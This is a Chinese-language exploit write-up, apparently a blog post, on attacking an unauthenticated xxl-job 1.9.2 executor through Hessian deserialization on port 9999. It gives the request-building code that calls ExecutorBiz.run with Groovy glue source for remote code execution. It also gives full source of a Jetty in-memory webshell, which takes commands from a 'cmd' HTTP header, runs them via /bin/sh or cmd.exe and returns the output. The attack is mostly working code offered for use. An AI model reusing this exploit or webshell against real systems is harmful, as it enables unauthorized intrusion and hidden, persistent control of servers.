碰到一个xxl-job,版本是1.9.2,仅仅只暴露了9999端口,并且不出网
executor未授权
我们可以从9999端口入手,com.xxl.job.core.rpc.netcom.jetty.server.JettyServerHandler是一个自己实现的jetty服务,明显可以打hessian反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| @Override public void handle(String target, Request baseRequest, HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { RpcResponse rpcResponse = doInvoke(request);
byte[] responseBytes = HessianSerializer.serialize(rpcResponse); response.setContentType("text/html;charset=utf-8"); response.setStatus(HttpServletResponse.SC_OK); baseRequest.setHandled(true); OutputStream out = response.getOutputStream(); out.write(responseBytes); out.flush(); }
private RpcResponse doInvoke(HttpServletRequest request) { try { byte[] requestBytes = HttpClientUtil.readBytes(request); if (requestBytes == null || requestBytes.length==0) { RpcResponse rpcResponse = new RpcResponse(); rpcResponse.setError("RpcRequest byte[] is null"); return rpcResponse; } RpcRequest rpcRequest = (RpcRequest) HessianSerializer.deserialize(requestBytes, RpcRequest.class);
RpcResponse rpcResponse = NetComServerFactory.invokeService(rpcRequest, null); return rpcResponse; } catch (Exception e) { logger.error(e.getMessage(), e);
RpcResponse rpcResponse = new RpcResponse(); rpcResponse.setError("Server-error:" + e.getMessage()); return rpcResponse; } }
|
利用com.xxl.job.core.biz.impl.ExecutorBizImpl#run便可以执行代码,自行构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| TriggerParam params = new TriggerParam(); params.setJobId(10); params.setExecutorBlockStrategy("SERIAL_EXECUTION"); params.setLogId(10); params.setLogDateTim((new Date()).getTime()); params.setGlueType("GLUE_GROOVY"); // params.setGlueType("GLUE_POWERSHELL"); params.setGlueSource(code); params.setGlueUpdatetime((new Date()).getTime());
RpcRequest xxlRpcRequest = new RpcRequest(); // xxlRpcRequest.setRequestId("22222"); xxlRpcRequest.setClassName("com.xxl.job.core.biz.ExecutorBiz"); xxlRpcRequest.setMethodName("run"); xxlRpcRequest.setParameterTypes(new Class[]{TriggerParam.class}); xxlRpcRequest.setParameters(new Object[] {params}); xxlRpcRequest.setCreateMillisTime((new Date()).getTime());
HessianSerializer serializer = new HessianSerializer();
byte[] data = serializer.serialize(xxlRpcRequest);
|
最终反射调用com.xxl.job.core.biz.ExecutorBiz的run来执行groovy,可以加载字节码
Jetty内存马
多的不说,直接上马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136
| package com.example; import java.io.PrintWriter; import java.lang.reflect.Array; import java.lang.reflect.Field; import java.util.Arrays; import java.util.Scanner; public class Util { private String getReqHeaderName() { return "cmd"; } public Util() { run(); } public Field getField(Class<?> clazz, String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; } private void run() { try {
System.out.println("start run"); Object obj ; Object httpConnection = null; Thread currentThread = Thread.currentThread(); System.out.println("currentThread: " + currentThread); Field groupField = getField(Thread.class, "group"); ThreadGroup group = (ThreadGroup)groupField.get(currentThread); System.out.println("group: " + group); Field threadsField = getField(ThreadGroup.class, "threads"); Thread[] threads = (Thread[])threadsField.get(group); System.out.println("threads: " + Arrays.toString(threads)); Thread thread = currentThread;
if (thread != null) { System.out.println("thread: " + thread.getName()); Field field = null;
System.out.println("trying threadLocals"); try{ field = getField(Thread.class, "threadLocals"); }catch (NullPointerException e){ System.out.println("threadLocals not found"); } Object threadLocals = field.get(thread); Class<?> threadLocalMap = Class.forName("java.lang.ThreadLocal$ThreadLocalMap"); Field tableField = threadLocalMap.getDeclaredField("table"); tableField.setAccessible(true); Object table = tableField.get(threadLocals); Class<?> entry = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry"); Field valueField = entry.getDeclaredField("value"); valueField.setAccessible(true); for (int i = 0; i < Array.getLength(table); ++i) { obj = Array.get(table, i); if (obj != null) { httpConnection = valueField.get(obj); if (httpConnection != null && (httpConnection.getClass().getName().equals("org.eclipse.jetty.server.HttpConnection") || httpConnection.getClass().getName().contains("HttpConnection"))) { System.out.println("httpConnection: " + httpConnection); break; } httpConnection = null; } } } if (httpConnection == null) { throw new RuntimeException("HttpConnection not found"); } Object response; Object request; try { Object httpChannel = httpConnection.getClass().getMethod("getHttpChannel").invoke(httpConnection); response = httpChannel.getClass().getMethod("getResponse").invoke(httpChannel); request = httpChannel.getClass().getMethod("getRequest").invoke(httpChannel); } catch (Exception e) { request = httpConnection.getClass().getMethod("getRequest").invoke(httpConnection); } String cmd = (String) request.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(request, new Object[]{getReqHeaderName()}); if (cmd != null) { PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); System.out.println("cmd: " + cmd); writer.write(exec(cmd)); writer.flush(); writer.close(); } } catch (Exception e) { e.printStackTrace(); } } private String exec(String cmd) { try { boolean isLinux = true; String osType = System.getProperty("os.name"); if (osType != null && osType.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; Scanner s = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\a"); String execRes = ""; while (s.hasNext()) { execRes += s.next(); } return execRes; } catch (Exception e) { return e.getMessage(); } }}
|
想要跨线程注入需要遍历ThreadGroup